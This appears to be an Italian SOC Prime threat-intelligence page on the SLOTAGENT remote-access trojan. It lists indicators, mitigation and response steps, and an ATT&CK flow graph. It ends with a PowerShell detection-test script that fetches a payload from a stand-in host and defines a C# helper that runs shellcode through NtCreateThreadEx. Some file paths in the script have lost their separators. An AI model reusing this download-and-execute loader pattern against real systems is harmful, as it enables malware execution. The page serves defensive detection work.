SOC Prime Bias: Medio

29 Apr 2026 17:27

Nuovo Malware SLOTAGENT che Supporta l’Esecuzione BOF Pubblicato

Author Photo
SOC Prime Team linkedin icon Segui
Nuovo Malware SLOTAGENT che Supporta l’Esecuzione BOF Pubblicato
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

IIJ ha identificato un RAT multi-funzionale precedentemente sconosciuto chiamato SLOTAGENT all’interno di un archivio ZIP caricato su un repository pubblico. Il malware supporta l’esecuzione di payload Beacon Object File e include capacità anti-forensi come il timestomping per ostacolare l’analisi. Comunica con un endpoint TCP codificato tramite un protocollo personalizzato che scambia dati formattati in JSON. Il loader si basa su dati di configurazione criptati con RC4 e sul caricamento riflessivo di DLL per lanciare il payload finale.

Indagine

L’analisi statica ha mostrato che l’eseguibile loader, WindowsOobeAppHost.AOT.exe, risolve le funzioni API di Windows tramite una routine di hashing personalizzata basata su DJB2. Il suo file di configurazione criptato, db.config, viene decriptato con RC4 usando la chiave easdbadshyfab e quindi eseguito come shellcode contenente una DLL codificata con XOR. Dopo il caricamento, il RAT si connette a 43.156.59.110:699 e processa comandi basati su JSON che supportano funzioni come la cattura di schermate, l’upload e il download di file, e l’esecuzione di BOF.

Mitigazione

I difensori dovrebbero rilevare l’indirizzo IP di comando e controllo codificato e cercare le stringhe di percorso simili a HTTP associate al traffico di rete del malware. Le regole YARA fornite nel report dovrebbero essere distribuite per identificare sia il loader che i componenti RAT. I team di sicurezza dovrebbero anche monitorare i comportamenti sospetti di hashing delle API e il caricamento riflessivo delle DLL sugli endpoint. L’esecuzione di file EXE o DLL non firmati e non attendibili dovrebbe essere limitata ovunque possibile.

Risposta

Se vengono rilevati indicatori collegati a SLOTAGENT, isolare immediatamente l’host interessato, terminare il processo malevolo e raccogliere la memoria per l’esame forense. L’indirizzo IP di comando e controllo e le relative porte dovrebbero essere bloccate al limite della rete. Le organizzazioni dovrebbero quindi eseguire una scansione completa per i nomi file noti e gli hash e applicare le firme YARA pubblicate sui sistemi di rilevamento degli endpoint.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[“<b>Malware</b> – <b>Nome</b>: WindowsOobeAppHost.AOT.exe<br/><b>Tecnica</b>: T1204.002 Esecuzione Utente”] class malware_exe malware exec_hijack[“<b>Tecnica</b> – <b>T1574 Hijacking del Flusso di Esecuzione</b>: Chiama la funzione esportata __managed__Main”] class exec_hijack action api_resolve[“<b>Tecnica</b> – <b>T1027.007 File Offuscati/Memorizzati: Deoffuscazione dei File</b>: Hashing personalizzato XOR/ROR11 per risolvere indirizzi API”] class api_resolve action config_decrypt[“<b>Tecnica</b> – <b>T1027.007</b>: Decrittografa la configurazione con RC4”] class config_decrypt action dll_decrypt[“<b>Tecnica</b> – <b>T1027.007</b>: Decrittografa DLL codificata XOR (agent_tcp.dll)”] class dll_decrypt action reflective_load[“<b>Tecnica</b> – <b>T1620 Reflective DLL Loading</b>: Carica la DLL in memoria senza toccare il disco”] class reflective_load process process_injection[“<b>Tecnica</b> – <b>T1055.009 Iniezione di Processo: Hijacking dell’Esecuzione del Thread</b>: Inietta la DLL riflessa nel processo”] class process_injection process c2_channel[“<b>Tecnica</b> – <b>T1571 Porta Non Standard</b> and <b>T1573 Canale Cifrato</b>: Stabilisce C2 TCP verso 43.156.59.110:699”] class c2_channel network host_info[“<b>Tecnica</b> – <b>T1592.001 Versione OS</b> and <b>T1592.002 Dettagli Hardware</b>: Invia JSON con dati di sistema”] class host_info data proc_discovery[“<b>Tecnica</b> – <b>T1057 Scoperta Processi</b>: Enumera i processi in esecuzione”] class proc_discovery data file_discovery[“<b>Tecnica</b> – <b>T1083 Scoperta File e Directory</b>: Elenca file e directory”] class file_discovery data screenshot_cap[“<b>Tecnica</b> – <b>T1113 Cattura Schermo</b>: Cattura lo schermo del sistema”] class screenshot_cap data remote_shell[“<b>Tecnica</b> – <b>T1059 Shell di Comando</b>: Esegue comandi tramite shell remota”] class remote_shell process bof_execution[“<b>Tecnica</b> – <b>T1027.009 Payload Incorporati</b> and <b>T1027.004 Compilazione Dopo Consegna</b>: Esegue moduli BOF”] class bof_execution process shared_modules[“<b>Tecnica</b> – <b>T1129 Moduli Condivisi</b>: Carica moduli aggiuntivi”] class shared_modules process file_transfer[“<b>Tecnica</b> – <b>T1105 Trasferimento Strumenti</b>: Scarica e carica file”] class file_transfer data proc_termination[“<b>Tecnica</b> – <b>T1106 API Nativa</b>: Termina processi”] class proc_termination process sleep_manip[“<b>Tecnica</b> – <b>T1027.004</b>: Manipola gli intervalli di sleep per eludere l’analisi”] class sleep_manip action %% Connections malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: il controllo pre-volo di Telemetria & Baseline deve essere superato.

  • Narrativa e Comandi di Attacco:

    L’avversario ha ottenuto una copia del loader SLOTAGENT, lo ha rinominato in WindowsOobeAppHost.AOT.exe per mimetizzarsi con i processi legittimi OOBE e lo ha collocato in C:WindowsSystem32. Il payload è memorizzato in un blob criptato sul server dell’attaccante. Utilizzando PowerShell, l’attaccante scarica il blob criptato, lo decripta in memoria e invoca la routine riflessiva del loader via NtCreateThreadEx. Internamente il loader chiama NtCreateFile per leggere ulteriori risorse dal blob criptato e quindi utilizza il caricamento riflessivo per eseguire la DLL malevola senza toccare il disco. Questa attività produce un evento Sysmon ProcessCreate con l’esatta Immagine nome e un CallTrace che contiene le tre stringhe definite nella regola.

  • Script di Test di Regressione:

    # -------------------------------------------------
    # Slot AGENT simulazione di caricamento riflessivo (Windows)
    # -------------------------------------------------
    # 1. Definire i percorsi
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    $payloadUrl = "https://malicious.example.com/payload.bin"
    $tempPayload = "$env:TEMPpayload.bin"
    
    # 2. Verificare che il loader esista (copia simulata del reale binario)
    if (-not (Test-Path $loaderPath)) {
        Write-Host "Copia del loader simulato in $loaderPath"
        Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
    }
    
    # 3. Scaricare il payload criptato (simulato)
    Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
    
    # 4. Decriptare il payload in memoria (segnaposto - vera decrittazione omessa)
    $decryptedBytes = Get-Content $tempPayload -Encoding Byte
    
    # 5. Invocare il caricamento riflessivo tramite chiamate API native
    #    Questo utilizza un piccolo helper C# compilato al volo che chiama NtCreateThreadEx
    $cSharp = @"
    using System;
    using System.Runtime.InteropServices;
    public class ReflectiveLoader {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern IntPtr NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            uint stackZeroBits,
            uint sizeOfStackCommit,
            uint sizeOfStackReserve,
            IntPtr bytesBuffer);
        public static void Run(byte[] shellcode) {
            IntPtr hThread;
            NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
                Process.GetCurrentProcess().Handle,
                Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
                IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
        }
    }
    "@
    
    Add-Type $cSharp -Language CSharp
    
    # 6. Pulire il file temporaneo
    Remove-Item $tempPayload -Force
  • Comandi di Pulizia:

    # Termina qualsiasi processo di loader residuo
    Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Rimuovere il binario del loader simulato
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    if (Test-Path $loaderPath) {
        Remove-Item $loaderPath -Force
    }
    
    # Rimuovere eventuali file temporanei residui
    Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue